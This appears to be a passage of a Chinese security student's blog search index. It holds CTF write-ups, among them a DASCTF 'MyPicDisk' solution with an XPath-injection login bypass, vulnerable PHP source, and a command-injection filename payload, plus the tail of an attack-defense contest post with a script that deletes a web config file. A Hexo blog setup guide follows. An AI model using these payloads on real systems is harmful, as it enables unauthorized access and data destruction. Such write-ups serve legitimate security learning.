class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">import</span> os<br><br>file_path = <span class="hljs-string">"/var/www/html/config/config.php"</span><br><br><span class="hljs-keyword">try</span>:<br> os.remove(file_path)<br> <span class="hljs-built_in">print</span>(<span class="hljs-string">f"File <span class="hljs-subst">{file_path}</span> has been successfully deleted."</span>)<br><span class="hljs-keyword">except</span> OSError <span class="hljs-keyword">as</span> e:<br> <span class="hljs-built_in">print</span>(<span class="hljs-string">f"Error deleting <span class="hljs-subst">{file_path}</span>: <span class="hljs-subst">{e}</span>"</span>)<br></code></pre></td></tr></table></figure><p>应急响应考察更多的是一些木马和勒索病毒的知识,模式与ctf答题模式差不多,只不过每道题给分是固定的。</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>第一次打 dawd 模式,感觉 dawd 是 awd 的简化版,没有不死马这种一次打中每次都能拿分的骚操作,更加考验大家写脚本的速度和熟练度。</p><p>比赛有点水,主要靠dawd攻防拉分,因为我们队第三轮就开始拿分,等别的队伍开始拿分的时候就已经甩开好多分数了。</p><p>应急响应最后只差3道题没答上来,我没做几道题,主要靠队友c,队友tql。</p><p>关于这个比赛感觉初赛入围还是挺容易的,随便会做几道题就可以入围,复赛难度也不大,但是赛前没有培训就很离谱,都打上比赛了才去发提交exp的方法,很多队伍连awd都没怎么参与进来,几乎没有几只队伍防守的充分,导致先拿分的队伍比后拿分的队伍分数高了很多,后拿分的很难追上。</p><p>贴个题目链接:</p><a href="/2023/09/19/2023tianjindawd/0bd38e18b095417ba6108d0da358cf7c.zip" title="web-shop">web-shop</a><br><a href="/2023/09/19/2023tianjindawd/9108dc7d50f1421797eaa6203d5544ab.zip" title="另一道web题,忘记名字了">另一道web题,忘记名字了</a><br><a href="/2023/09/19/2023tianjindawd/e79e25ed862e454c8118d883dfb30c3b.zip" title="pwn-ttt">pwn-ttt</a><p>还有一道pwn题找不到了。。。</p>]]></content>
<categories>
<category>awd</category>
</categories>
<tags>
<tag>rce</tag>
<tag>php</tag>
<tag>awd</tag>
</tags>
</entry>
<entry>
<title>[DASCTF 2023 & 0X401七月暑期挑战赛] MyPicDisk</title>
<link href="/2023/07/27/2023dasctf_MyPicDisk/"/>
<url>/2023/07/27/2023dasctf_MyPicDisk/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="过程"><a href="#过程" class="headerlink" title="过程"></a>过程</h2><p>开启容器,发现以下表单,表单信息通过post方法传送</p><img src="/2023/07/27/2023dasctf_MyPicDisk/1.png" class=""><p>通过xpath万能注入</p><figure class="highlight llvm"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs llvm">username<span class="hljs-operator">=</span>admin'&password<span class="hljs-operator">=</span>']|//*|//*['&submit<span class="hljs-operator">=</span><span class="hljs-variable">%E7</span><span class="hljs-variable">%99</span><span class="hljs-variable">%BB</span><span class="hljs-variable">%E5</span><span class="hljs-variable">%BD</span><span class="hljs-variable">%95</span><br></code></pre></td></tr></table></figure><p>注入成功,burp观察返回包发现注释信息获得提示下载源码/y0u_cant_find_1t.zip</p><p>得到源码</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br></pre></td><td class="code"><pre><code class="hljs php"><span class="hljs-meta"><?php</span><br><span class="hljs-title function_ invoke__">session_start</span>();<br><span class="hljs-title function_ invoke__">error_reporting</span>(<span class="hljs-number">0</span>);<br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">FILE</span></span><br><span class="hljs-class"></span>{<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$filename</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$lasttime</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-variable">$size</span>;<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__construct</span>(<span class="hljs-params"><span class="hljs-variable">$filename</span></span>)</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-keyword">if</span> (<span class="hljs-title function_ invoke__">preg_match</span>(<span class="hljs-string">"/\//i"</span>, <span class="hljs-variable">$filename</span>)) {<br> <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(<span class="hljs-string">"hacker!"</span>);<br> }<br> <span class="hljs-variable">$num</span> = <span class="hljs-title function_ invoke__">substr_count</span>(<span class="hljs-variable">$filename</span>, <span class="hljs-string">"."</span>);<br> <span class="hljs-keyword">if</span> (<span class="hljs-variable">$num</span> != <span class="hljs-number">1</span>) {<br> <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(<span class="hljs-string">"hacker!"</span>);<br> }<br> <span class="hljs-keyword">if</span> (!<span class="hljs-title function_ invoke__">is_file</span>(<span class="hljs-variable">$filename</span>)) {<br> <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">Error</span>(<span class="hljs-string">"???"</span>);<br> }<br> <span class="hljs-variable language_">$this</span>->filename = <span class="hljs-variable">$filename</span>;<br> <span class="hljs-variable language_">$this</span>->size = <span class="hljs-title function_ invoke__">filesize</span>(<span class="hljs-variable">$filename</span>);<br> <span class="hljs-variable language_">$this</span>->lasttime = <span class="hljs-title function_ invoke__">filemtime</span>(<span class="hljs-variable">$filename</span>);<br> }<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">remove</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-title function_ invoke__">unlink</span>(<span class="hljs-variable">$this</span>->filename);<br> }<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">show</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-keyword">echo</span> <span class="hljs-string">"Filename: "</span> . <span class="hljs-variable language_">$this</span>->filename . <span class="hljs-string">" Last Modified Time: "</span> . <span class="hljs-variable language_">$this</span>->lasttime . <span class="hljs-string">" Filesize: "</span> . <span class="hljs-variable language_">$this</span>->size . <span class="hljs-string">"<br>"</span>;<br> }<br> <span class="hljs-keyword">public</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">__destruct</span>(<span class="hljs-params"></span>)</span><br><span class="hljs-function"> </span>{<br> <span class="hljs-title function_ invoke__">system</span>(<span class="hljs-string">"ls -all "</span> . <span class="hljs-variable">$this</span>->filename);<br> }<br>}<br><span class="hljs-meta">?></span><br><!DOCTYPE html><br><html><br><br><head><br> <meta charset=<span class="hljs-string">"UTF-8"</span>><br> <title>MyPicDisk</title><br></head><br><br><body><br> <span class="hljs-meta"><?php</span><br> <span class="hljs-keyword">if</span> (!<span class="hljs-keyword">isset</span>(<span class="hljs-variable">$_SESSION</span>[<span class="hljs-string">'user'</span>])) {<br> <span class="hljs-keyword">echo</span> <span class="hljs-string">'</span><br><span class="hljs-string"><form method="POST"></span><br><span class="hljs-string"> username:<input type="text" name="username"></p></span><br><span class="hljs-string"> password:<input type="password" name="password"></p></span><br><span class="hljs-string"> <input type="submit" value="登录" name="submit"></p></span><br><span class="hljs-string"></form></span><br><span class="hljs-string">'</span>;<br> <span class="hljs-variable">$xml</span> = <span class="hljs-title function_ invoke__">simplexml_load_file</span>(<span class="hljs-string">'/tmp/secret.xml'</span>);<br> <span class="hljs-keyword">if</span> (<span class="hljs-variable">$_POST</span>[<span class="hljs-string">'submit'</span>]) {<br> <span class="hljs-variable">$username</span> = <span class="hljs-variable">$_POST</span>[<span class="hljs-string">'username'</span>];<br> <span class="hljs-variable">$password</span> = <span class="hljs-title function_ invoke__">md5</span>(<span class="hljs-variable">$_POST</span>[<span class="hljs-string">'password'</span>]);<br> <span class="hljs-variable">$x_query</span> = <span class="hljs-string">"/accounts/user[username='<span class="hljs-subst">{$username}</span>' and password='<span class="hljs-subst">{$password}</span>']"</span>;<br> <span class="hljs-variable">$result</span> = <span class="hljs-variable">$xml</span>-><span class="hljs-title function_ invoke__">xpath</span>(<span class="hljs-variable">$x_query</span>);<br> <span class="hljs-keyword">if</span> (<span class="hljs-title function_ invoke__">count</span>(<span class="hljs-variable">$result</span>) == <span class="hljs-number">0</span>) {<br> <span class="hljs-keyword">echo</span> <span class="hljs-string">'登录失败'</span>;<br> } <span class="hljs-keyword">else</span> {<br> <span class="hljs-variable">$_SESSION</span>[<span class="hljs-string">'user'</span>] = <span class="hljs-variable">$username</span>;<br> <span class="hljs-keyword">echo</span> <span class="hljs-string">"<script>alert('登录成功!');location.href='/index.php';</script>"</span>;<br> }<br> }<br> } <span class="hljs-keyword">else</span> {<br> <span class="hljs-keyword">if</span> (<span class="hljs-variable">$_SESSION</span>[<span class="hljs-string">'user'</span>] !== <span class="hljs-string">'admin'</span>) {<br> <span class="hljs-keyword">echo</span> <span class="hljs-string">"<script>alert('you are not admin!!!!!');</script>"</span>;<br> <span class="hljs-keyword">unset</span>(<span class="hljs-variable">$_SESSION</span>[<span class="hljs-string">'user'</span>]);<br> <span class="hljs-keyword">echo</span> <span class="hljs-string">"<script>location.href='/index.php';</script>"</span>;<br> }<br> <span class="hljs-keyword">echo</span> <span class="hljs-string">"<!-- /y0u_cant_find_1t.zip -->"</span>;<br> <span class="hljs-keyword">if</span> (!<span class="hljs-variable">$_GET</span>[<span class="hljs-string">'file'</span>]) {<br> <span class="hljs-keyword">foreach</span> (<span class="hljs-title function_ invoke__">scandir</span>(<span class="hljs-string">"."</span>) <span class="hljs-keyword">as</span> <span class="hljs-variable">$filename</span>) {<br> <span class="hljs-keyword">if</span> (<span class="hljs-title function_ invoke__">preg_match</span>(<span class="hljs-string">"/.(jpg|jpeg|gif|png|bmp)$/i"</span>, <span class="hljs-variable">$filename</span>)) {<br> <span class="hljs-keyword">echo</span> <span class="hljs-string">"<a href='index.php/?file="</span> . <span class="hljs-variable">$filename</span> . <span class="hljs-string">"'>"</span> . <span class="hljs-variable">$filename</span> . <span class="hljs-string">"</a><br>"</span>;<br> }<br> }<br> <span class="hljs-keyword">echo</span> <span class="hljs-string">'</span><br><span class="hljs-string"> <form action="index.php" method="post" enctype="multipart/form-data"></span><br><span class="hljs-string"> 选择图片:<input type="file" name="file" id=""></span><br><span class="hljs-string"> <input type="submit" value="上传"></form></span><br><span class="hljs-string"> '</span>;<br> <span class="hljs-keyword">if</span> (<span class="hljs-variable">$_FILES</span>[<span class="hljs-string">'file'</span>]) {<br> <span class="hljs-variable">$filename</span> = <span class="hljs-variable">$_FILES</span>[<span class="hljs-string">'file'</span>][<span class="hljs-string">'name'</span>];<br> <span class="hljs-keyword">if</span> (!<span class="hljs-title function_ invoke__">preg_match</span>(<span class="hljs-string">"/.(jpg|jpeg|gif|png|bmp)$/i"</span>, <span class="hljs-variable">$filename</span>)) {<br> <span class="hljs-keyword">die</span>(<span class="hljs-string">"hacker!"</span>);<br> }<br> <span class="hljs-keyword">if</span> (<span class="hljs-title function_ invoke__">move_uploaded_file</span>(<span class="hljs-variable">$_FILES</span>[<span class="hljs-string">'file'</span>][<span class="hljs-string">'tmp_name'</span>], <span class="hljs-variable">$filename</span>)) {<br> <span class="hljs-keyword">echo</span> <span class="hljs-string">"<script>alert('图片上传成功!');location.href='/index.php';</script>"</span>;<br> } <span class="hljs-keyword">else</span> {<br> <span class="hljs-keyword">die</span>(<span class="hljs-string">'failed'</span>);<br> }<br> }<br> } <span class="hljs-keyword">else</span> {<br> <span class="hljs-variable">$filename</span> = <span class="hljs-variable">$_GET</span>[<span class="hljs-string">'file'</span>];<br> <span class="hljs-keyword">if</span> (<span class="hljs-variable">$_GET</span>[<span class="hljs-string">'todo'</span>] === <span class="hljs-string">"md5"</span>) {<br> <span class="hljs-keyword">echo</span> <span class="hljs-title function_ invoke__">md5_file</span>(<span class="hljs-variable">$filename</span>);<br> } <span class="hljs-keyword">else</span> {<br> <span class="hljs-variable">$file</span> = <span class="hljs-keyword">new</span> <span class="hljs-title function_ invoke__">FILE</span>(<span class="hljs-variable">$filename</span>);<br> <span class="hljs-keyword">if</span> (<span class="hljs-variable">$_GET</span>[<span class="hljs-string">'todo'</span>] !== <span class="hljs-string">"remove"</span> && <span class="hljs-variable">$_GET</span>[<span class="hljs-string">'todo'</span>] !== <span class="hljs-string">"show"</span>) {<br> <span class="hljs-keyword">echo</span> <span class="hljs-string">"<img src='../"</span> . <span class="hljs-variable">$filename</span> . <span class="hljs-string">"'><br>"</span>;<br> <span class="hljs-keyword">echo</span> <span class="hljs-string">"<a href='../index.php/?file="</span> . <span class="hljs-variable">$filename</span> . <span class="hljs-string">"&&todo=remove'>remove</a><br>"</span>;<br> <span class="hljs-keyword">echo</span> <span class="hljs-string">"<a href='../index.php/?file="</span> . <span class="hljs-variable">$filename</span> . <span class="hljs-string">"&&todo=show'>show</a><br>"</span>;<br> } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (<span class="hljs-variable">$_GET</span>[<span class="hljs-string">'todo'</span>] === <span class="hljs-string">"remove"</span>) {<br> <span class="hljs-variable">$file</span>-><span class="hljs-title function_ invoke__">remove</span>();<br> <span class="hljs-keyword">echo</span> <span class="hljs-string">"<script>alert('图片已删除!');location.href='/index.php';</script>"</span>;<br> } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (<span class="hljs-variable">$_GET</span>[<span class="hljs-string">'todo'</span>] === <span class="hljs-string">"show"</span>) {<br> <span class="hljs-variable">$file</span>-><span class="hljs-title function_ invoke__">show</span>();<br> }<br> }<br> }<br> }<br> <span class="hljs-meta">?></span><br></body><br><br></html><br></code></pre></td></tr></table></figure><p>分析源码,发现有文件上传白名单(jpg|jpeg|gif|png|bmp后缀名)</p><p>继续分析,发现class FILE的<code>system("ls -all " . $this->filename);</code>处存在命令拼接</p><p>但是有条件,必须保证文件名有且只有一个<code>.</code>,并且不能含有<code>\/</code></p><p>接下来想方法绕过</p><p>首先上传文件1111.jpg,文件内容为<code>ls /</code>用来查看根目录flag文件名</p><p>接下来上传名为<code>;`cat 111*`;1.jpg</code>的文件再进行<code>?filename=;`cat 111*`;1.jpg&todo=show</code>,发现成功执行了命令,返回得到flag路径<code>adjaskdhnask_flag_is_here_dakjdnmsakjnfksd</code></p><p>最后更换文件内容为<code>cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksd</code>,再次执行命令得到flag</p><h2 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h2><h3 id="xpath注入"><a href="#xpath注入" class="headerlink" title="xpath注入"></a>xpath注入</h3><p>题目中xpath查询语句拼接后为</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs xml-dtd">/accounts/user[username='admin'' and password='']|//*|//*['']<br></code></pre></td></tr></table></figure><p>其实后面不重要,因为admin的引号已经将查询语句闭合了</p><p>相当于</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs xml-dtd">/accounts/user[username='admin']<br></code></pre></td></tr></table></figure><p>于是相当于查询是否有admin账户,得到结果</p><h3 id="rce"><a href="#rce" class="headerlink" title="rce"></a>rce</h3><p><code>;</code>可以分隔一串命令</p><p><code>`</code>Linux中反引号的作用是在将反引号内的命令处理完毕之后,会将返回的信息传给反引号的位置,再次执行命令</p><h2 id="后记"><a href="#后记" class="headerlink" title="后记"></a>后记</h2><p>看了网上好多wp,发现我的做法貌似是非预期</p><p>预期解是md5_file函数结合phar打的</p><p>太菜了太菜了,别的题目为什么不写wp,因为都不会。。。。。</p>]]></content>
<categories>
<category>WriteUp</category>
</categories>
<tags>
<tag>web</tag>
<tag>xpath注入</tag>
<tag>rce</tag>
<tag>php</tag>
</tags>
</entry>
<entry>
<title>使用hexo框架搭建github静态博客</title>
<link href="/2023/06/30/hexo/"/>
<url>/2023/06/30/hexo/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>第一次使用 hexo 搭建静态网站,踩了好多坑,立此贴记录一下</p><h2 id="本地配置Hexo"><a href="#本地配置Hexo" class="headerlink" title="本地配置Hexo"></a>本地配置Hexo</h2><h3 id="安装Nodejs"><a href="#安装Nodejs" class="headerlink" title="安装Nodejs"></a>安装Nodejs</h3><p><a href="https://nodejs.org/zh-cn">Nodejs官方地址</a></p><p>从以上链接下载 nodejs 安装(官网下载稍慢,建议翻墙)</p><h3 id="设置npm淘宝镜像站"><a href="#设置npm淘宝镜像站" class="headerlink" title="设置npm淘宝镜像站"></a>设置npm淘宝镜像站</h3><p>npm 默认的源的下载速度可能很慢,建议使用淘宝镜像替换。执行下面的命令,将 npm 的源设置成淘宝镜像站。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs shell">npm config set registry "https://registry.npm.taobao.org"<br></code></pre></td></tr></table></figure><h3 id="安装git"><a href="#安装git" class="headerlink" title="安装git"></a>安装git</h3><p><a href="https://git-scm.com/downloads/">git官方链接</a></p><p>从以上链接下载 git 安装</p><p>一路确认,安装时要勾选 <strong>Add to PATH</strong> 选项</p><h3 id="验证"><a href="#验证" class="headerlink" title="验证"></a>验证</h3><p>cmd 输入以下命令观察是否执行正确</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs shell">git --version<br>npm -v<br></code></pre></td></tr></table></figure><h3 id="初始化Hexo"><a href="#初始化Hexo" class="headerlink" title="初始化Hexo"></a>初始化Hexo</h3><p>执行以下命令安装 hexo</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs shell">npm install hexo-cli g<br></code></pre></td></tr></table></figure><p>在电脑的某个磁盘或路径新建一个文件夹(名字可以随便取),比如我的是 D:\blog,由于这个文件夹将来就作为您存放博客的地方,所以最好不要随便放</p><p>在 D:\blog 文件夹下右键打开 Git Bash Here,输入命令: <code>hexo init</code> 进行初始化</p><p>hexo 会自动下载一些文件到这个目录</p><p>接着在 cmd 中安装其他 hexo 插件</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs shell">npm install<br>npm install hexo-server --save<br>npm install hexo-admin --save<br>npm install hexo-generator-archive --save<br>npm install hexo-generator-feed --save<br>npm install hexo-generator-search --save<br>npm install hexo-generator-tag --save<br>npm install hexo-deployer-git --save<br>npm install hexo-generator-sitemap --save<br></code></pre></td></tr></table></figure><p>至此,本地 hexo 配置完毕。</p><p>现在可以使用 hexo 搭建本地服务器来使用</p><p>使用 <code>hexo g</code> 生成静态页面,使用 <code>hexo s</code> 开启本地服务器,接下来可以用浏览器地址栏输入 <code>localhost:4000</code> 来看见刚刚创建的博客</p><h2 id="部署github"><a href="#部署github" class="headerlink" title="部署github"></a>部署github</h2><h3 id="配置-Github"><a href="#配置-Github" class="headerlink" title="配置 Github"></a>配置 Github</h3><p>注册 github 账号,并在主页创建仓库,名字为 [yourname].github.io</p><h4 id="配置ssh"><a href="#配置ssh" class="headerlink" title="配置ssh"></a>配置ssh</h4><p>打开git bash终端设置 user.name 和 user.email</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs bash">git config --global user.name <span class="hljs-string">"你的GitHub用户名"</span><br>git config --global user.email <span class="hljs-string">"你的GitHub注册邮箱"</span><br></code></pre></td></tr></table></figure><p>生成ssh密匙</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">ssh-keygen -t rsa -C <span class="hljs-string">"你的GitHub注册邮箱"</span><br></code></pre></td></tr></table></figure><p>将公匙添加到 github 上</p><h3 id="将hexo博客部署到github上"><a href="#将hexo博客部署到github上" class="headerlink" title="将hexo博客部署到github上"></a>将hexo博客部署到github上</h3><p>修改配置文件 <strong>blog/_config.yml</strong>,修改deploy项的内容,如下所示:</p><img src="/2023/06/30/hexo/%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE1.png" class=""><p>注意:</p><ul><li>分支(branch)要与自己创建仓库的分支名称一致(注意master与main的区别)</li><li>冒号后面必须添加一个空格</li><li>保持缩进格式一致</li></ul><p>给出示例:</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs yaml"><span class="hljs-comment"># Deployment</span><br><span class="hljs-comment">## Docs: https://hexo.io/docs/one-command-deployment</span><br><span class="hljs-attr">deploy:</span><br> <span class="hljs-bullet">-</span> <span class="hljs-attr">type:</span> <span class="hljs-string">git</span><br> <span class="hljs-attr">repo:</span> <span class="hljs-string">https://github.com/lazy-forever/lazy-forever.github.io.git</span><br> <span class="hljs-attr">branch:</span> <span class="hljs-string">main</span> <br></code></pre></td></tr></table></figure><h3 id="部署hexo"><a href="#部署hexo" class="headerlink" title="部署hexo"></a>部署hexo</h3><p>输入下面的命令将hexo博客部署到github中:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs shell">hexo cl #清理之前生成的文件<br>hexo g #生成静态页面<br>hexo d #部署<br></code></pre></td></tr></table></figure><p>隔一段时间后打开浏览器,输入 [yourname].github.io 即可看到我们部署的博客</p><h2 id="关于翻墙"><a href="#关于翻墙" class="headerlink" title="关于翻墙"></a>关于翻墙</h2><p>众所周知,中国大陆境内对于 github 的访问一直处于时常能连上时常连不上的状态,因此如果我们在执行 <code>hexo d</code> 命令时翻墙,会让部署的过程更加丝滑。</p><p>我的电脑一直在使用 clash 进行翻墙,而在 cmd 中使用<code>hexo d</code>时,clash 必须用以管理员身份打开并开启增强功能,如图:</p><img src="/2023/06/30/hexo/%E5%B1%8F%E5%B9%95%E6%88%AA%E5%9B%BE2.png" class="">]]></content>
<categories>
<category>博客</category>
</categories>
<tags>
<tag>技术</tag>
</tags>
</entry>
<entry>
<title>My First Blog</title>
<link href="/2023/05/29/hello-world/"/>
<url>/2023/05/29/hello-world/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>这是我的第一篇博客。</p>]]></content>
<tags>
<tag>其他</tag>
</tags>
</entry>
</search>